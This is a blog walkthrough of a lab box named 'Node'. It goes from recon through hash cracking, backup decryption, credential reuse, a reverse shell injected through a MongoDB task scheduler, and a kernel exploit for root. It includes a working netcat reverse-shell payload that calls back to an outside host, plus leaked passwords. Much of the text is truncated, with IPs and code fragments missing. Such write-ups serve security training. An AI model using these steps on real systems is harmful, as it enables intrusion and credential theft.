Node 1 – Writeup


This machine is,252/

Recon Phase

Firstly I had to find the machine

root@kali:~# nmap -sn
Nmap scan report for
Host is up (0.0012s latency).
MAC Address: 0A:00:27:00:00:19 (Unknown)
Nmap scan report for
Host is up (0.00043s latency).
MAC Address: 08:00:27:CC:0F:B1 (Oracle VirtualBox virtual NIC)
Nmap scan report for
ost is up (0.0022s latency).
MAC Address: 08:00:27:A2:8A:95 (Oracle VirtualBox virtual NIC)
Nmap scan report for
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.86 seconds

From there I carried out a service discovery

root@kali:~# nmap -sV
Nmap scan report for
Host is up (0.0019s latency).
Not shown: 998 filtered ports
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
3000/tcp open  http    Node.js Express framework
MAC Address: 08:00:27:A2:8A:95 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 16.62 seconds

The Web App

I first went to the web app on

Screenshot 1

There was a login form

Screenshot 2

I then checked the source and found some interesting parts

Screenshot 3

I went through each of the files starting with

var controllers = angular.module('controllers', []);
var app = angular.module('myplace', [ 'ngRoute', 'controllers' ]);
app.config(function ($routeProvider, $locationProvider) {
    when('/', {
      templateUrl: '/partials/home.html',
      controller: 'HomeCtrl'
    when('/profiles/:username', {
      templateUrl: '/partials/profile.html',
      controller: 'ProfileCtrl'
    when('/login', {
      templateUrl: '/partials/login.html',
      controller: 'LoginCtrl'
    when('/admin', {
      templateUrl: '/partials/admin.html',
      controller: 'AdminCtrl'
      redirectTo: '/'

From this I had some endpoints, so I went to look at the admin one located at

Screenshot 4

The button was linked to a function called “backup()” which wasn’t defined in this context, so was of no use to me yet, so back to the source code at

var controllers = angular.module('controllers');
controllers.controller('HomeCtrl', function ($scope, $http) {
  $http.get('/api/users/latest').then(function (res) {
    $scope.users =;

This revealed the api, but I still wanted to inspect more source, next up was

var controllers = angular.module(‘controllers’);

controllers.controller('LoginCtrl', function ($scope, $http, $location) {
  $scope.authenticate = function () {
    $scope.hasError = false;
   $'/api/session/authenticate', {
      username: $scope.username,
      password: $scope.password
    }).then(function (res) {
      if ( {
      else {
        $scope.hasError = true;
        $scope.alertMessage = 'Incorrect credentials were specified';
    }, function (resp) {
      $scope.hasError = true;
      $scope.alertMessage = 'An unexpected error occurred';

From this I could tell scope could contain some useful information, so I went to to see what it did

Screenshot 5

There were some creds, but none were admins, so I tried

Screenshot 6

This time I was in luck


I put these into a file called hash.txt to crack


And set john on them

root@kali:~# john hash.txt --format=Raw-SHA256
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-SHA256 [SHA256 128/128 AVX 4x])
Press 'q' or Ctrl-C to abort, almost any other key for status
snowflake        (mark)
spongebob        (tom)
manchester       (myP14ceAdm1nAcc0uNT)

I aborted it there as I got the admin accounts creds

Using the creds of myP14ceAdm1nAcc0uNT:manchester to login

Screenshot 7

This time clicking backup offered me to download a file

Screenshot 8

Looking at it, it was a load of base64, so I decoded it

root@kali:~# cat myplace.backup | base64 -d > backupdecoded

And inspected the result

root@kali:~# file backupdecoded
backupdecoded: Zip archive data, at least v1.0 to extract

It is a zip folder, so I tried to unzip it

root@kali:~# unzip backupdecoded
Archive:  backupdecoded
   creating: var/www/myplace/
[backupdecoded] var/www/myplace/package-lock.json password:

It is passworded so I used frackzip on it

root@kali:~# fcrackzip backupdecoded -D -p /usr/share/wordlists/rockyou.txt
possible pw found: magicword ()

With a possible password found I tried it again

root@kali:~# unzip backupdecoded
Archive:  backupdecoded
[backupdecoded] var/www/myplace/package-lock.json password:

Using “magicword”

  inflating: var/www/myplace/package-lock.json
   creating: var/www/myplace/node_modules/
   creating: var/www/myplace/node_modules/serve-static/
  inflating: var/www/myplace/node_modules/serve-static/
  inflating: var/www/myplace/node_modules/serve-static/index.js
  inflating: var/www/myplace/node_modules/serve-static/LICENSE
  inflating: var/www/myplace/node_modules/serve-static/
  inflating: var/www/myplace/node_modules/serve-static/package.json

I could now look at the files

root@kali:~# cd var/www/myplace/
root@kali:~# ls -la
drwxr-xr-x  4 root root  4096 Oct  7 22:10 .
drwxr-xr-x  3 root root  4096 Oct  6 01:33 ..
-rw-rw-r--  1 root root  3861 Sep  2  2017 app.html
-rw-rw-r--  1 root root  8058 Sep  3  2017 app.js
drwxr-xr-x 69 root root  4096 Sep  2  2017 node_modules
-rw-rw-r--  1 root root   283 Sep  2  2017 package.json
-rw-r--r--  1 root root 21264 Sep  2  2017 package-lock.json
drwxrwxr-x  6 root root  4096 Sep  2  2017 static

I inspected the app looking for config files

root@kali:~/var/www/myplace# cat app.js
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';

This gave me a mongo db login for mark of


So I tried it on ssh

root@kali:~# ssh [email protected]

Flag Hunt

First I wanted to find the user flag

mark@node:~$ ls -la
drwxr-xr-x 3 root root 4096 Sep  3  2017 .
drwxr-xr-x 5 root root 4096 Aug 31  2017 ..
-rw-r--r-- 1 root root  220 Aug 31  2017 .bash_logout
-rw-r--r-- 1 root root 3771 Aug 31  2017 .bashrc
drwx------ 2 root root 4096 Aug 31  2017 .cache
-rw-r----- 1 root root    0 Sep  3  2017 .dbshell
-rwxr-xr-x 1 root root    0 Sep  3  2017 .mongorc.js
-rw-r--r-- 1 root root  655 Aug 31  2017 .profile

It wasn’t in mark’s home so it was time to look around. I started by checking the kernel

mark@node:~$ uname -a
Linux node 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

This version seemed vulnerable to CVE-2017-16995, but I still needed the user flag first (It would have felt wrong to use root to get the user one!) So in my hunt for the flag I checked out the user list

mark@node:~$ cat /etc/passwd
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false

There was another user called tom, so I checked there

mark@node:~$ cd /home/tom
mark@node:/home/tom$ ls -la
drwxr-xr-x 6 root root 4096 Sep  3  2017 .
drwxr-xr-x 5 root root 4096 Aug 31  2017 ..
-rw-r--r-- 1 root root  220 Aug 29  2017 .bash_logout
-rw-r--r-- 1 root root 3771 Aug 29  2017 .bashrc
drwx------ 2 root root 4096 Aug 29  2017 .cache
drwxr-xr-x 3 root root 4096 Aug 30  2017 .config
-rw-r----- 1 root root    0 Sep  3  2017 .dbshell
-rwxr-xr-x 1 root root    0 Aug 30  2017 .mongorc.js
drwxrwxr-x 2 root root 4096 Aug 29  2017 .nano
drwxr-xr-x 5 root root 4096 Aug 31  2017 .npm
-rw-r--r-- 1 root root  655 Aug 29  2017 .profile
-rw-r----- 1 root tom    33 Sep  3  2017 user.txt

I found the flag, but I couldn’t read it yet. I needed to become tom, so I began to look for ways to do it, eventually coming onto

mark@node:/home/tom$ ps -aux | grep tom
tom       1170  0.0  6.2 1021676 47636 ?       Ssl  21:52   0:02 /usr/bin/node /var/www/myplace/app.js
tom       1176  0.0  5.5 1008560 42208 ?       Ssl  21:52   0:02 /usr/bin/node /var/scheduler/app.js
mark      1611  0.0  0.1  14228   892 pts/0    S+   23:46   0:00 grep --color=auto tom

There was a second node app in /var/scheduler/, so I went to take a look

mark@node:/home/tom$ cd /var/scheduler/
mark@node:/var/scheduler$ ls -la
drwxr-xr-x  3 root root 4096 Sep  3  2017 .
drwxr-xr-x 15 root root 4096 Sep  3  2017 ..
-rw-rw-r--  1 root root  910 Sep  3  2017 app.js
drwxr-xr-x 19 root root 4096 Sep  3  2017 node_modules
-rw-rw-r--  1 root root  176 Sep  3  2017 package.json
-rw-r--r--  1 root root 4709 Sep  3  2017 package-lock.json

Then at the code

mark@node:/var/scheduler$ cat app.js
const exec        = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';
MongoClient.connect(url, function(error, db) {
  if (error || !db) {
    console.log('[!] Failed to connect to mongodb');
  setInterval(function () {
    db.collection('tasks').find().toArray(function (error, docs) {
      if (!error && docs) {
        docs.forEach(function (doc) {
          if (doc) {
            console.log('Executing task ' + doc._id + '...');
            db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
      else if (error) {
        console.log('Something went wrong: ' + error);
  }, 30000);

So it connects to the mongo db and pulls commands from the collection called “tasks” which it then runs, I had creds for mongo, so I could add my own commands into the collection. So I opened a listener to receive a shell

root@kali:~# nc -nlvp 4444

Then connected to mongo

mark@node:~$ mongo -u mark -p 5AYRft73VtFpc84k scheduler
MongoDB shell version: 3.2.16
connecting to: scheduler

And inserted my reverse shell command

> db.tasks.insert({"cmd":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4444 >/tmp/f"})
WriteResult({ "nInserted" : 1 })

I then waited for a minute or so

connect to [] from (UNKNOWN) [] 58260
/bin/sh: 0: can't access tty; job control turned off

A new shell connected back, which should hopefully be running as tom

$ id
uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1002(admin)

With confirmation I was tom, I used the python trick

$ python -c "import pty;pty.spawn('/bin/bash')"
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

And then grabbed the flag

tom@node:/$ cd /home/tom
tom@node:~$ cat user.txt

Root Time

Now all I needed to do was escalate to root, having identified a priv esc route earlier this wasn’t very difficult. First on my local machine I downloaded the exploit code

root@kali:~# wget
--2018-10-08 20:47:49--
Resolving (
Connecting to (||:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6021 (5.9K) [application/txt]
Saving to: ‘44298.c’
44298.c                                   100%[=====================================================================================>]   5.88K  --.-KB/s    in 0s
2018-10-08 20:47:50 (85.4 MB/s) - ‘44298.c’ saved [6021/6021]

Then transferred it to the target, on the target I used the mark account as it had a full shell

root@kali:~# nc -nvlp 2222 < 44298.c
mark@node:~$ cd /tmp
mark@node:/tmp$ nc 2222 > exploit.c
connect to [] from (UNKNOWN) [] 59946

I checked the code made it accross, then compiled it

mark@node:/tmp$ ls -la
drwxrwxrwt  8 root    root    4096 Oct  8 20:49 .
drwxr-xr-x 25 root    root    4096 Sep  2  2017 ..
-rw-rw-r--  1 mark    mark    6021 Oct  8 20:49 exploit.c
mark@node:/tmp$ gcc exploit.c -o exploit

Finally I ran it

mark@node:/tmp$ ./exploit
task_struct = ffff880025001980
uidptr = ffff88002529c544
spawning root shell

With a root shell popped I only needed the flag to be done

root@node:/tmp# cd /root
root@node:/root# ls -la
drwx------  4 root root 4096 Sep  3  2017 .
drwxr-xr-x 25 root root 4096 Sep  2  2017 ..
-rw-------  1 root root    1 Aug  6 23:03 .bash_history
-rw-r--r--  1 root root 3106 Oct 22  2015 .bashrc
drwx------  2 root root 4096 Sep  3  2017 .cache
drwxr-xr-x  2 root root 4096 Sep  3  2017 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r-----  1 root root   33 Sep  3  2017 root.txt
root@node:/root# cat root.txt

And with that the machine was done, now i think there is another way to get root on this one, so at somepoint I’ll come back and hunt it down!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.